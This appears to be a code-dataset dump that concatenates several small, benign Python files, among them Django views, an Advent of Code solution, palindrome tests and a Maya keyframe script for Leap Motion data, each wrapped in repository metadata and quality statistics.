324ddd757e8abd3c7b2b6d007aad4e5dcfed7720

[ "MIT" ]

1

2016-05-08T07:58:11.000Z

python/packages/cybernetics/__init__.py

mdk/mdk-code-snippets

324ddd757e8abd3c7b2b6d007aad4e5dcfed7720

[ "MIT" ]

1

2017-09-27T08:33:26.000Z

python/packages/cybernetics/__init__.py

mdk/mdk-code-snippets

324ddd757e8abd3c7b2b6d007aad4e5dcfed7720

[ "MIT" ]

1

2020-01-02T23:57:11.000Z

from android import Android from robot import Robot print "Initializing electronics..."

17.8

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89

6.545455

0.636364

0

0.134831

89

4

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22.25

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0.333333

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1

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null

0

1

0

1

0

4

9b7dafb9c6f21211a439e8e4989a294b2333741b

101

py

Python

old_django_malliva/reviewRatings/apps.py

olubiyiontheweb/malliva

b212e6b359eed54c92533f0a02afe3c0042150e2

[ "MIT" ]

null

old_django_malliva/reviewRatings/apps.py

olubiyiontheweb/malliva

b212e6b359eed54c92533f0a02afe3c0042150e2

[ "MIT" ]

null

old_django_malliva/reviewRatings/apps.py

olubiyiontheweb/malliva

b212e6b359eed54c92533f0a02afe3c0042150e2

[ "MIT" ]

1

2021-07-19T12:15:52.000Z

from django.apps import AppConfig class ReviewratingsConfig(AppConfig): name = 'reviewRatings'

16.833333

37

0.782178

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101

7.9

0.9

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0.148515

101

5

38

20.2

0.918605

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1

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false

0

0.333333

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0

null

0

1

0

1

0

4

9b8658a8b9b34f73d3e19afd8aee522160d72ac1

1,111

py

Python

accounts/views.py

matacoder/django-docker

d9c690c9d0f9c632eb79349b0290476112d62a92

[ "MIT" ]

8

2021-05-28T19:18:34.000Z

2021-11-29T13:36:54.000Z

accounts/views.py

matacoder/django-docker

d9c690c9d0f9c632eb79349b0290476112d62a92

[ "MIT" ]

null

accounts/views.py

matacoder/django-docker

d9c690c9d0f9c632eb79349b0290476112d62a92

[ "MIT" ]

3

2021-05-24T12:31:46.000Z

2021-05-25T11:08:13.000Z

from django.urls import reverse_lazy from django.views.generic import CreateView, FormView, TemplateView from .forms import CreationForm class SignUp(CreateView): form_class = CreationForm success_url = reverse_lazy("login") template_name = "registration/signup.html" class LoginView(FormView): success_url = reverse_lazy("index") template_name = "registration/login.html" class LogoutView(TemplateView): template_name = "registration/logged_out.html" class PasswordResetView(FormView): template_name = "registration/password_reset_form.html" class PasswordResetDoneView(TemplateView): template_name = "registration/password_reset_done.html" class PasswordResetConfirmView(FormView): template_name = "registration/password_reset_confirm.html" class PasswordResetCompleteView(TemplateView): template_name = "registration/password_reset_complete.html" class PasswordChangeView(FormView): template_name = "registration/password_change_form.html" class PasswordChangeDoneView(TemplateView): template_name = "registration/password_change_done.html"

25.25

67

0.79838

116

1,111

7.405172

0.344828

0.125728

0.251455

0.223516

0.330617

0.218859

0

0.121512

1,111

43

68

25.837209

0.880123

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0.284428

0.275428

0

1

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false

0.5

0.125

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1

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null

0

1

0

null

0

1

0

1

0

4

9bbef212db2eee5617ff19ae50f1a6adce743c86

108

py

Python

Chapter 9/imported_restaurant.py

WilliamJaber/Python-Crash-Course

d87621785011039fbe0b42f0d8b6cd2364246577

[ "MIT" ]

null

Chapter 9/imported_restaurant.py

WilliamJaber/Python-Crash-Course

d87621785011039fbe0b42f0d8b6cd2364246577

[ "MIT" ]

null

Chapter 9/imported_restaurant.py

WilliamJaber/Python-Crash-Course

d87621785011039fbe0b42f0d8b6cd2364246577

[ "MIT" ]

5

2021-09-22T16:53:47.000Z

2022-03-24T00:56:49.000Z

from restaurant import Restaurant brooklyn = Restaurant("brooklyn", "fast") brooklyn.describe_restaurant()

21.6

41

0.805556

11

108

7.818182

0.545455

0.418605

0

0.092593

108

4

42

27

0.877551

0

0.111111

0

1

0

false

0

0.333333

0

0.333333

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1

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null

1

0

1

0

null

0

1

0

4

32eea2b1d6e98b7ea4beb9c371217a7e845fc57a

3,034

py

Python

easter_021.py

fpicot/adventofcode

a544c17bcd58600117c6503e43f63e9e1ce57759

[ "MIT" ]

null

easter_021.py

fpicot/adventofcode

a544c17bcd58600117c6503e43f63e9e1ce57759

[ "MIT" ]

null

easter_021.py

fpicot/adventofcode

a544c17bcd58600117c6503e43f63e9e1ce57759

[ "MIT" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- inputs = [ "LLLRLLULLDDLDUDRDDURLDDRDLRDDRUULRULLLDLUURUUUDLUUDLRUDLDUDURRLDRRRUULUURLUDRURULRLRLRRUULRUUUDRRDDRLLLDDLLUDDDLLRLLULULRRURRRLDRLDLLRURDULLDULRUURLRUDRURLRRDLLDDURLDDLUDLRLUURDRDRDDUURDDLDDDRUDULDLRDRDDURDLUDDDRUDLUDLULULRUURLRUUUDDRLDULLLUDLULDUUDLDLRRLLLRLDUDRUULDLDRDLRRDLDLULUUDRRUDDDRDLRLDLRDUDRULDRDURRUULLUDURURUUDRDRLRRDRRDRDDDDLLRURULDURDLUDLUULDDLLLDULUUUULDUDRDURLURDLDDLDDUULRLUUDLDRUDRURURRDDLURURDRLRLUUUURLLRR", "UUUUURRRURLLRRDRLLDUUUUDDDRLRRDRUULDUURURDRLLRRRDRLLUDURUDLDURURRLUDLLLDRDUDRDRLDRUDUDDUULLUULLDUDUDDRDUUUDLULUDUULLUUULURRUDUULDUDDRDURRLDDURLRDLULDDRUDUDRDULLRLRLLUUDDURLUUDLRUUDDLLRUURDUDLLDRURLDURDLRDUUDLRLLRLRURRUDRRLRDRURRRUULLUDLDURDLDDDUUDRUUUDULLLRDRRDRLURDDRUUUDRRUUDLUDDDRRRRRLRLDLLDDLRDURRURLLLULURULLULRLLDDLDRLDULLDLDDDRLUDDDUDUDRRLRDLLDULULRLRURDLUDDLRUDRLUURRURDURDRRDRULUDURRLULUURDRLDLRUDLUDRURLUDUUULRRLRRRULRRRLRLRLULULDRUUDLRLLRLLLURUUDLUDLRURUDRRLDLLULUDRUDRLLLRLLDLLDUDRRURRLDLUUUURDDDUURLLRRDRUUURRRDRUDLLULDLLDLUDRRDLLDDLDURLLDLLDLLLDR", "LRDULUUUDLRUUUDURUUULLURDRURDRRDDDLRLRUULDLRRUDDLLUURLDRLLRUULLUDLUDUDRDRDLUUDULLLLRDDUDRRRURLRDDLRLDRLULLLRUUULURDDLLLLRURUUDDDLDUDDDDLLLURLUUUURLRUDRRLLLUUULRDUURDLRDDDUDLLRDULURURUULUDLLRRURDLUULUUDULLUDUUDURLRULRLLDLUULLRRUDDULRULDURRLRRLULLLRRDLLDDLDUDDDUDLRUURUDUUUDDLRRDLRUDRLLRDRDLURRLUDUULDRRUDRRUDLLLLRURRRRRUULULLLRDRDUDRDDURDLDDUURRURLDRRUDLRLLRRURULUUDDDLLLRDRLULLDLDDULDLUUDRURULLDLLLLDRLRRLURLRULRDLLULUDRDR", "RURRRUDLURRURLURDDRULLDRDRDRRULRRDLDDLDUUURUULLRRDRLDRRDRULLURRRULLLDULDDDDLULRUULRURUDURDUDRLRULLLRDURDDUDDRDLURRURUURDLDDDDDURURRURLLLDDLDRRDUDDLLLDRRLDDUUULDLLDRUURUDDRRLDUULRRDDUDRUULRLDLRLRUURLLDRDLDRLURULDLULDRULURLLRRLLDDDURLRUURUULULRLLLULUDULUUULDRURUDDDUUDDRDUDUDRDLLLRDULRLDLRRDRRLRDLDDULULRLRUUDDUDRRLUDRDUUUDRLLLRRLRUDRRLRUUDDLDURLDRRRUDRRDUDDLRDDLULLDLURLUUDLUDLUDLDRRLRRRULDRLRDUURLUULRDURUDUUDDURDDLRRRLUUUDURULRURLDRURULDDUDDLUDLDLURDDRRDDUDUUURLDLRDDLDULDULDDDLDRDDLUURDULLUDRRRULRLDDLRDRLRURLULLLDULLUUDURLDDULRRDDUULDRLDLULRRDULUDUUURUURDDDRULRLRDLRRURR", "UDDDRLDRDULDRLRDUDDLDLLDDLUUURDDDLUDRDUDLDURLUURUDUULUUULDUURLULLRLUDLLURUUUULRLRLLLRRLULLDRUULURRLLUDUDURULLLRRRRLRUULLRDRDRRDDLUDRRUULUDRUULRDLRDRRLRRDRRRLULRULUURRRULLRRRURUDUURRLLDDDUDDULUULRURUDUDUDRLDLUULUDDLLLLDRLLRLDULLLRLLDLUUDURDLLRURUUDDDDLLUDDRLUUDUDRDRLLURURLURRDLDDDULUURURURRLUUDUDLDLDDULLURUDLRLDLRLDLDUDULURDUDRLURRRULLDDDRDRURDDLDLULUDRUULDLULRDUUURLULDRRULLUDLDRLRDDUDURRRURRLRDUULURUUDLULDLRUUULUDRDRRUDUDULLDDRLRDLURDLRLUURDRUDRDRUDLULRUDDRDLLLRLURRURRLDDDUDDLRDRRRULLUUDULURDLDRDDDLDURRLRRDLLDDLULULRRDUDUUDUULRDRRDURDDDDUUDDLUDDUULDRDDULLUUUURRRUUURRULDRRDURRLULLDU"] x=1 y=1 combination = [] #Internal Use _keypad = [[1,2,3],[4,5,6],[7,8,9]] for line in inputs: for input in line: #Move if input == "D": if y < 2: y+=1 elif input == "U": if y > 0: y-=1 elif input == "L": if x > 0: x-=1 elif input == "R": if x < 2: x+=1 combination.append(_keypad[y][x]) print("Combinaison : {}".format(combination))

94.8125

591

0.920237

79

3,034

35.316456

0.531646

0.002151

0.010753

0.007885

0

0.006892

0.043507

3,034

31

592

97.870968

0.954514

0.017798

0

0.869624

0.862903

0

1

0

1

0

false

0

0.045455

0

1

null

0

1

null

1

0

4

32f0cb73736c57e2be793d95bc603e5e2ae57bdd

124

py

Python

desafios/Ex007.py

FelipeAlafy/Python

da2374e55e8aa84e4ca6d9c7bf8dafeb546a4742

[ "MIT" ]

null

desafios/Ex007.py

FelipeAlafy/Python

da2374e55e8aa84e4ca6d9c7bf8dafeb546a4742

[ "MIT" ]

null

desafios/Ex007.py

FelipeAlafy/Python

da2374e55e8aa84e4ca6d9c7bf8dafeb546a4742

[ "MIT" ]

null

n1 = int(input('nota 1 > ')) n2 = int(input('nota 2 > ')) print("\033[33mA media do aluno foi de {} 🤡".format((n1 + n2)/2))

31

65

0.564516

23

124

3.086957

0.73913

0.225352

0.338028

0

0.117647

0.177419

124

3

66

41.333333

0.568627

0

0.435484

0

1

0

false

0

0.333333

1

0

null

1

0

1

0

null

0

4

fd0a38de59768332d970ce0984bfaeb7b7f3dd1a

1,528

py

Python

unit-testing/test_algorithms_and_data_structures/test_check_palindrome.py

amgad01/algorithms

53eecf06e907cde806d4b78dc78fcd70d0271e3e

[ "MIT" ]

null

unit-testing/test_algorithms_and_data_structures/test_check_palindrome.py

amgad01/algorithms

53eecf06e907cde806d4b78dc78fcd70d0271e3e

[ "MIT" ]

null

unit-testing/test_algorithms_and_data_structures/test_check_palindrome.py

amgad01/algorithms

53eecf06e907cde806d4b78dc78fcd70d0271e3e

[ "MIT" ]

null

import unittest from algorithms_and_data_structures.check_palindrome import check_palindrome class TestLongestPeak(unittest.TestCase): def test_is_palindrome(self): self.assertEqual(check_palindrome('a'), True) self.assertEqual(check_palindrome(" "), True) self.assertEqual(check_palindrome("aba"), True) self.assertEqual(check_palindrome("abbba"), True) self.assertEqual(check_palindrome("ababa"), True) self.assertEqual(check_palindrome("abaaaba"), True) self.assertEqual(check_palindrome(1), True) self.assertEqual(check_palindrome(121), True) self.assertEqual(check_palindrome(12121), True) def test_not_palindrome(self): self.assertEqual(check_palindrome('ab'), False) self.assertEqual(check_palindrome("aa"), False) self.assertEqual(check_palindrome("abaa"), False) self.assertEqual(check_palindrome("abbaa"), False) self.assertEqual(check_palindrome("abbbba"), False) self.assertEqual(check_palindrome("ababaa"), False) self.assertEqual(check_palindrome("abakaaba"), False) self.assertEqual(check_palindrome(12), False) self.assertEqual(check_palindrome(122221), False) self.assertEqual(check_palindrome(121121), False) def test_invalid_input(self): self.assertRaises(TypeError, check_palindrome, {1: 2, 2: 3}) self.assertRaises(TypeError, check_palindrome, None) self.assertRaises(TypeError, check_palindrome, ["0", "1", "3"])

44.941176

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0.709424

167

1,528

6.293413

0.275449

0.342531

0.36156

0.542341

0.756422

0.08373

0

0.023659

0.170157

1,528

33

77

46.30303

0.805205

0

0.037958

0

0.785714

1

0.107143

false

0

0.071429

0

0.214286

0

null

1

0

null

0

1

0

4

fd14235a97115d0da605df7efd9315bb578a44f1

101

py

Python

run_kbstopwatch.py

mwiens91/kb-stopwatch

0eec6bd942ca1e9786f36d8e577ce304b58d77a3

[ "MIT" ]

null

run_kbstopwatch.py

mwiens91/kb-stopwatch

0eec6bd942ca1e9786f36d8e577ce304b58d77a3

[ "MIT" ]

null

run_kbstopwatch.py

mwiens91/kb-stopwatch

0eec6bd942ca1e9786f36d8e577ce304b58d77a3

[ "MIT" ]

null

#!/usr/bin/env python3 """Runs kb-stopwatch.""" from kbstopwatch.main import main # Run it main()

11.222222

33

0.683168

15

101

4.6

0.866667

0

0.011628

0.148515

101

8

34

12.625

0.790698

0.465347

0

1

0

true

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0.5

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0.5

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null

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1

0

null

0

1

0

1

0

4

fd36a1ed0a086f3df709ddecee7bc3e6d2224e79

284

py

Python

wukong/master/tests/service_tests/HbaseStorageServiceImplTest.py

wukong-m2m/wukong-darjeeling

429ffdd62384c0a6b7f6695bb780359fc58a804c

[ "BSD-2-Clause-FreeBSD" ]

16

2015-01-07T10:32:47.000Z

2019-01-16T16:13:51.000Z

wukong/master/tests/service_tests/HbaseStorageServiceImplTest.py

wukong-m2m/wukong-darjeeling

429ffdd62384c0a6b7f6695bb780359fc58a804c

[ "BSD-2-Clause-FreeBSD" ]

14

2015-05-01T04:45:45.000Z

2016-05-11T01:29:23.000Z

wukong/master/tests/service_tests/HbaseStorageServiceImplTest.py

wukong-m2m/wukong-darjeeling

429ffdd62384c0a6b7f6695bb780359fc58a804c

[ "BSD-2-Clause-FreeBSD" ]

13

2015-06-17T06:42:17.000Z

2020-11-27T18:23:08.000Z

import os, sys sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../..')) sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')) from service.storage.mongo import MongoDBStorageServiceImpl from service.storage.model import storage_pb2

47.333333

82

0.771127

42

284

5

0.380952

0.171429

0.12381

0.142857

0.504762

0

0.003717

0.052817

284

6

83

47.333333

0.776952

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0.024561

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true

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0.6

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0.6

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null

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null

0

1

0

1

0

1

0

4

fd5c1f609f83ba8758b72b69cfac714e4a31f6ef

157

py

Python

ogh/tests/__init__.py

ChristinaB/Observatory-1

95f9e00686d64d48264b4b84596bb00f60964bda

[ "MIT" ]

7

2018-03-13T18:02:23.000Z

2020-02-29T08:18:26.000Z

ogh/tests/__init__.py

ChristinaB/Observatory-1

95f9e00686d64d48264b4b84596bb00f60964bda

[ "MIT" ]

21

2018-02-20T22:33:08.000Z

2019-04-23T20:30:20.000Z

ogh/tests/__init__.py

ChristinaB/Observatory-1

95f9e00686d64d48264b4b84596bb00f60964bda

[ "MIT" ]

16

2018-01-09T20:12:07.000Z

2019-08-02T15:30:45.000Z

from __future__ import (absolute_import, division, print_function, unicode_literals)

31.4

41

0.464968

10

157

6.6

0.9

0

0.503185

157

4

42

39.25

0.846154

0

1

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true

0

0.25

0

0.25

1

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null

0

1

0

1

0

null

0

1

0

4

b5c0730eb3ccaa49d303a75bae83f8ef1704c7cb

96

py

Python

exercises/mp3player/platform_test.py

introprogramming/exercises

8e52f3fa87d29a14ddcf00e8d87598d0721a41f6

[ "MIT" ]

2

2018-08-20T22:44:40.000Z

2018-09-14T17:03:35.000Z

exercises/mp3player/platform_test.py

introprogramming/exercises

8e52f3fa87d29a14ddcf00e8d87598d0721a41f6

[ "MIT" ]

31

2015-08-06T16:25:57.000Z

2019-06-11T12:22:35.000Z

exercises/mp3player/platform_test.py

introprogramming/exercises

8e52f3fa87d29a14ddcf00e8d87598d0721a41f6

[ "MIT" ]

1

2016-08-15T15:06:40.000Z

import sys if sys.maxsize > 2**32: print("using 64 bits") else: print("using 32 bits")

13.714286

26

0.625

16

96

3.75

0.6875

0.333333

0

0.094595

0.229167

96

7

27

13.714286

0.716216

0

0.270833

0

1

0

true

0

0.2

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0.2

0.4

1

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null

1

0

1

0

null

0

1

0

4

b5db99b4fc48771c2cec5696384f0b6b0f08c6ba

82

py

Python

movie/db_control.py

zhangzhibo123/flask---movie

45da1993936a4fa863488818ae4e88d27165f66c

[ "Apache-2.0" ]

null

movie/db_control.py

zhangzhibo123/flask---movie

45da1993936a4fa863488818ae4e88d27165f66c

[ "Apache-2.0" ]

null

movie/db_control.py

zhangzhibo123/flask---movie

45da1993936a4fa863488818ae4e88d27165f66c

[ "Apache-2.0" ]

null

# -*- coding:utf-8 -*- __author__ = 'zhangzhibo' __date__ = '202018/5/18 16:56'

13.666667

30

0.621951

11

82

3.909091

1

0

0.202899

0.158537

82

5

31

16.4

0.42029

0.243902

0

0.465517

0

1

0

false

0

1

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null

0

1

0

1

0

1

0

null

0

4

b5f7035e4a0658391b7a4e0ae8d6f37d3c584c69

36,041

py

Python

data/mayaScript.py

heaversm/LeapToOsc

e4501eafa318cacc8d902074161367b04c2cb38f

[ "MIT" ]

1

2015-10-13T18:34:49.000Z

data/mayaScript.py

heaversm/LeapToOsc

e4501eafa318cacc8d902074161367b04c2cb38f

[ "MIT" ]

null

data/mayaScript.py

heaversm/LeapToOsc

e4501eafa318cacc8d902074161367b04c2cb38f

[ "MIT" ]

null

from maya.cmds import * from random import uniform as rnd playbackOptions(minTime="0", maxTime="366") spaceLocator(name="hand0") currentTime(0) move(3.761351, 1.0875831,-1.1359625) setKeyframe() currentTime(6) move(3.7484415, 1.0593767,-1.1014904) setKeyframe() currentTime(12) move(3.7429137, 1.0449018,-1.0757363) setKeyframe() currentTime(18) move(3.7464352, 1.027605,-1.0433145) setKeyframe() currentTime(24) move(3.7543402, 1.018137,-0.9849368) setKeyframe() currentTime(30) move(3.7448218, 1.0519605,-0.9076565) setKeyframe() currentTime(36) move(3.7169561, 1.1301737,-0.8360301) setKeyframe() currentTime(42) move(3.691066, 1.2501378,-0.77580833) setKeyframe() currentTime(48) move(3.681201, 1.4086137,-0.6993574) setKeyframe() currentTime(54) move(3.6743178, 1.58389,-0.61842996) setKeyframe() currentTime(60) move(3.6584246, 1.7789054,-0.5342428) setKeyframe() currentTime(66) move(3.6426766, 1.9522867,-0.44406497) setKeyframe() currentTime(72) move(3.6268525, 2.2056253,-0.2836381) setKeyframe() currentTime(78) move(3.634459, 2.4368446,-0.12389564) setKeyframe() currentTime(84) move(3.6929967, 2.5815287,0.042491727) setKeyframe() currentTime(90) move(3.7761874, 2.5626333,0.16778742) setKeyframe() currentTime(96) move(3.8332984, 2.4345264,0.19558232) setKeyframe() currentTime(102) move(3.8424442, 2.2300057,0.10028491) setKeyframe() currentTime(108) move(3.831472, 2.0210626,-0.020276042) setKeyframe() currentTime(114) move(3.8034115, 1.8271217,-0.15890907) setKeyframe() currentTime(120) move(3.773829, 1.6291814,-0.31039637) setKeyframe() currentTime(126) move(3.7515862, 1.4604349,-0.41219124) setKeyframe() currentTime(132) move(3.760767, 1.3571362,-0.46974957) setKeyframe() currentTime(138) move(3.9677694, 1.9143815,-0.71935636) setKeyframe() currentTime(144) move(3.956019, 1.9718742,-1.0680832) setKeyframe() currentTime(150) move(3.9331324, 2.0086014,-1.3477496) setKeyframe() currentTime(156) move(3.9282818, 2.089279,-1.5159079) setKeyframe() currentTime(162) move(3.9330246, 2.2308133,-1.6060836) setKeyframe() currentTime(168) move(3.9360156, 2.3245552,-1.6035503) setKeyframe() currentTime(174) move(3.952931, 2.3390555,-1.3515744) setKeyframe() currentTime(180) move(3.9744914, 2.341764,-0.9155262) setKeyframe() currentTime(186) move(3.9634762, 2.3453674,-0.50713134) setKeyframe() currentTime(192) move(3.9177651, 2.3206997,-0.27844125) setKeyframe() currentTime(198) move(3.8037913, 2.1809583,-0.20168136) setKeyframe() currentTime(204) move(3.6711745, 1.9403229,-0.21767141) setKeyframe() currentTime(210) move(3.578404, 1.7330852,-0.28468576) setKeyframe() currentTime(216) move(3.528726, 1.6239257,-0.38907802) setKeyframe() currentTime(222) move(3.5414355, 1.6268773,-0.38043898) setKeyframe() currentTime(228) move(3.6118722, 1.7312822,-0.3149215) setKeyframe() currentTime(234) move(3.7051024, 1.9426455,-0.189065) setKeyframe() currentTime(240) move(3.7706995, 2.1373904,-0.0984512) setKeyframe() currentTime(246) move(3.8081865, 2.2940235,-0.039992444) setKeyframe() currentTime(252) move(3.8376887, 2.4153237,0.00989613) setKeyframe() currentTime(258) move(3.865437, 2.499737,0.047138028) setKeyframe() currentTime(264) move(3.8872018, 2.5348449,0.07134336) setKeyframe() currentTime(270) move(3.8984692, 2.5217085,0.077863224) setKeyframe() spaceLocator(name="origin0-0") currentTime(0) move(3.6595654, 1.7283478,-0.56958526) setKeyframe() currentTime(6) move(3.6415896, 1.6915255,-0.54081696) setKeyframe() currentTime(12) move(3.6365476, 1.6822176,-0.5123261) setKeyframe() currentTime(18) move(3.6441414, 1.6609879,-0.4690666) setKeyframe() currentTime(24) move(3.6521406, 1.6531572,-0.38271606) setKeyframe() currentTime(30) move(3.6289048, 1.7128925,-0.2838937) setKeyframe() currentTime(36) move(3.5879896, 1.8190336,-0.20941862) setKeyframe() currentTime(42) move(3.5610006, 1.9701662,-0.14150502) setKeyframe() currentTime(48) move(3.5568125, 2.1452982,-0.07032704) setKeyframe() currentTime(54) move(3.5478365, 2.3373916,-0.001922642) setKeyframe() currentTime(60) move(3.5198135, 2.5420082,0.0565958) setKeyframe() currentTime(66) move(3.4845247, 2.7453506,0.111296564) setKeyframe() currentTime(72) move(3.4507883, 3.005198,0.18028906) setKeyframe() currentTime(78) move(3.4498997, 3.2456408,0.2444005) setKeyframe() currentTime(84) move(3.5341413, 3.371379,0.3218487) setKeyframe() currentTime(90) move(3.6525445, 3.291243,0.38522616) setKeyframe() currentTime(96) move(3.733306, 3.0784695,0.3805824) setKeyframe() currentTime(102) move(3.754203, 2.849433,0.32994014) setKeyframe() currentTime(108) move(3.734242, 2.642558,0.28027543) setKeyframe() currentTime(114) move(3.6916807, 2.4410102,0.2158857) setKeyframe() currentTime(120) move(3.6567917, 2.2525551,0.16312689) setKeyframe() currentTime(126) move(3.6328132, 2.0782998,0.13282496) setKeyframe() currentTime(132) move(3.6419005, 1.9660082,0.05811378) setKeyframe() currentTime(138) move(3.8155987, 2.5121245,-0.8063955) setKeyframe() currentTime(144) move(3.7967134, 2.6155567,-1.1527972) setKeyframe() currentTime(150) move(3.7782166, 2.7010026,-1.3740358) setKeyframe() currentTime(156) move(3.7871037, 2.847359,-1.5119872) setKeyframe() currentTime(162) move(3.7938743, 3.0409818,-1.6023113) setKeyframe() currentTime(168) move(3.793776, 3.147907,-1.5704674) setKeyframe() currentTime(174) move(3.8044004, 3.1266541,-1.2653971) setKeyframe() currentTime(180) move(3.781998, 3.0915182,-0.8504988) setKeyframe() currentTime(186) move(3.7436523, 3.0477765,-0.49043038) setKeyframe() currentTime(192) move(3.664653, 2.9454708,-0.26185933) setKeyframe() currentTime(198) move(3.5582333, 2.7027357,-0.19118713) setKeyframe() currentTime(204) move(3.962674, 2.3648615,-0.15987487) setKeyframe() currentTime(210) move(3.7594662, 2.1724682,-0.022064464) setKeyframe() currentTime(216) move(3.7331557, 2.0496895,-0.15463603) setKeyframe() currentTime(222) move(3.3150938, 2.0889387,-0.25046816) setKeyframe() currentTime(228) move(3.3853915, 2.3221283,-0.18221705) setKeyframe() currentTime(234) move(3.4712706, 2.55969,-0.10037306) setKeyframe() currentTime(240) move(3.5339468, 2.7840202,-0.066292174) setKeyframe() currentTime(246) move(3.571637, 2.9591324,-0.058176264) setKeyframe() currentTime(252) move(3.6044607, 3.071459,-0.0720904) setKeyframe() currentTime(258) move(3.6329727, 3.1323311,-0.021583207) setKeyframe() currentTime(264) move(3.654816, 3.150113,-9.911641E-4) setKeyframe() currentTime(270) move(3.670716, 3.115533,-0.008320688) setKeyframe() spaceLocator(name="origin0-1") currentTime(0) move(4.3434753, 1.6057134,-0.53717834) setKeyframe() currentTime(6) move(4.321517, 1.567061,-0.5036366) setKeyframe() currentTime(12) move(4.315057, 1.5586443,-0.4785679) setKeyframe() currentTime(18) move(4.3208027, 1.5386915,-0.43340245) setKeyframe() currentTime(24) move(4.328532, 1.5348153,-0.35191655) setKeyframe() currentTime(30) move(4.3093624, 1.5984645,-0.25810713) setKeyframe() currentTime(36) move(4.272622, 1.7059951,-0.181776) setKeyframe() currentTime(42) move(4.2482243, 1.8541789,-0.112108156) setKeyframe() currentTime(48) move(4.245875, 2.029328,-0.04595203) setKeyframe() currentTime(54) move(4.2409163, 2.218234,0.021077776) setKeyframe() currentTime(60) move(4.224445, 2.4264486,0.07257572) setKeyframe() currentTime(66) move(4.207775, 2.6252573,0.123028986) setKeyframe() currentTime(72) move(4.192896, 2.884224,0.19318525) setKeyframe() currentTime(78) move(4.207241, 3.1125002,0.2467967) setKeyframe() currentTime(84) move(4.2919025, 3.2305179,0.31237495) setKeyframe() currentTime(90) move(4.400158, 3.1544676,0.36742982) setKeyframe() currentTime(96) move(4.4543686, 2.9633734,0.36694348) setKeyframe() currentTime(102) move(4.4561334, 2.7385592,0.32575503) setKeyframe() currentTime(108) move(4.42583, 2.5260305,0.27357864) setKeyframe() currentTime(114) move(4.373342, 2.3285873,0.2166419) setKeyframe() currentTime(120) move(4.330925, 2.1461987,0.17046499) setKeyframe() currentTime(126) move(4.300779, 1.9788322,0.14237052) setKeyframe() currentTime(132) move(4.3060665, 1.866416,0.064049914) setKeyframe() currentTime(138) move(4.532569, 2.3782508,-0.8094912) setKeyframe() currentTime(144) move(4.522977, 2.4658544,-1.1210073) setKeyframe() currentTime(150) move(4.5074754, 2.533242,-1.3227512) setKeyframe() currentTime(156) move(4.522649, 2.6643777,-1.4431982) setKeyframe() currentTime(162) move(4.5451584, 2.8652906,-1.5464549) setKeyframe() currentTime(168) move(4.556216, 2.9748807,-1.5214982) setKeyframe() currentTime(174) move(4.572214, 2.9512582,-1.1978953) setKeyframe() currentTime(180) move(4.5588264, 2.8962977,-0.77575624) setKeyframe() currentTime(186) move(4.368885, 2.8468485,-0.4461671) setKeyframe() currentTime(192) move(3.1560888, 2.6813383,-0.38763672) setKeyframe() currentTime(198) move(3.9581735, 2.5674963,-0.24412985) setKeyframe() currentTime(204) move(2.80838, 2.2053592,-0.4530757) setKeyframe() currentTime(210) move(3.1396933, 2.1782656,-0.2643739) setKeyframe() currentTime(216) move(2.7170827, 1.8836956,-0.53785145) setKeyframe() currentTime(222) move(3.8650901, 2.06829,-0.25286597) setKeyframe() currentTime(228) move(4.094336, 2.2627084,-0.18478169) setKeyframe() currentTime(234) move(4.198392, 2.4749758,-0.12314885) setKeyframe() currentTime(240) move(4.2670565, 2.678263,-0.07443686) setKeyframe() currentTime(246) move(4.3116403, 2.83673,-0.07684335) setKeyframe() currentTime(252) move(4.346395, 2.943067,-0.06362321) setKeyframe() currentTime(258) move(4.3767056, 2.9990766,-0.019852448) setKeyframe() currentTime(264) move(4.4004393, 3.0136707,-0.03237418) setKeyframe() currentTime(270) move(4.4108195, 2.9854174,-0.023430698) setKeyframe() spaceLocator(name="origin0-2") currentTime(0) move(3.0050085, 1.5619264,-0.85721254) setKeyframe() currentTime(6) move(2.9893196, 1.5293584,-0.82562166) setKeyframe() currentTime(12) move(2.9886441, 1.5165162,-0.79784846) setKeyframe() currentTime(18) move(2.9984875, 1.4992294,-0.75476515) setKeyframe() currentTime(24) move(3.0058017, 1.4970908,-0.66567695) setKeyframe() currentTime(30) move(2.9832113, 1.5528321,-0.573718) setKeyframe() currentTime(36) move(2.9392605, 1.6559391,-0.5112315) setKeyframe() currentTime(42) move(2.9034824, 1.8043098,-0.4485171) setKeyframe() currentTime(48) move(2.8911984, 1.9726882,-0.37888592) setKeyframe() currentTime(54) move(2.8713691, 2.1569169,-0.3144935) setKeyframe() currentTime(60) move(2.8393872, 2.3524837,-0.26309004) setKeyframe() currentTime(66) move(2.798534, 2.5284493,-0.21828277) setKeyframe() currentTime(72) move(2.7579222, 2.7577918,-0.15276189) setKeyframe() currentTime(78) move(2.7437272, 2.9765584,-0.0984069) setKeyframe() currentTime(84) move(2.8106449, 3.1101758,0.0101138055) setKeyframe() currentTime(90) move(2.9236562, 3.0590127,0.13402325) setKeyframe() currentTime(96) move(3.0068808, 2.8951588,0.16620778) setKeyframe() currentTime(102) move(3.0353372, 2.6956592,0.13369882) setKeyframe() currentTime(108) move(3.0359507, 2.4858944,0.05821611) setKeyframe() currentTime(114) move(3.0096712, 2.28701,-0.031698495) setKeyframe() currentTime(120) move(2.989553, 2.0928984,-0.0961599) setKeyframe() currentTime(126) move(2.9745102, 1.915431,-0.13254303) setKeyframe() currentTime(132) move(2.9888375, 1.8012958,-0.19119598) setKeyframe() currentTime(138) move(3.1196573, 2.2826774,-0.92107666) setKeyframe() currentTime(144) move(3.098013, 2.3743207,-1.2611908) setKeyframe() currentTime(150) move(3.0748208, 2.4496863,-1.4942056) setKeyframe() currentTime(156) move(3.0682538, 2.5842545,-1.606446) setKeyframe() currentTime(162) move(3.0592506, 2.7454653,-1.6866089) setKeyframe() currentTime(168) move(3.0444663, 2.850734,-1.6483414) setKeyframe() currentTime(174) move(3.0341964, 2.8139822,-1.3267931) setKeyframe() currentTime(180) move(3.0004537, 2.7661715,-0.9529577) setKeyframe() currentTime(186) move(3.1461475, 2.689562,-0.6086741) setKeyframe() currentTime(192) move(4.670302, 2.2798884,-0.38834485) setKeyframe() currentTime(198) move(3.1162672, 2.3656454,-0.41635475) setKeyframe() currentTime(204) move(4.3675785, 1.8999252,-0.3241807) setKeyframe() currentTime(210) move(2.9137254, 1.908052,-0.48930112) setKeyframe() currentTime(216) move(4.2222996, 1.610487,-0.40548077) setKeyframe() currentTime(222) move(2.7461665, 1.851994,-0.5405503) setKeyframe() currentTime(228) 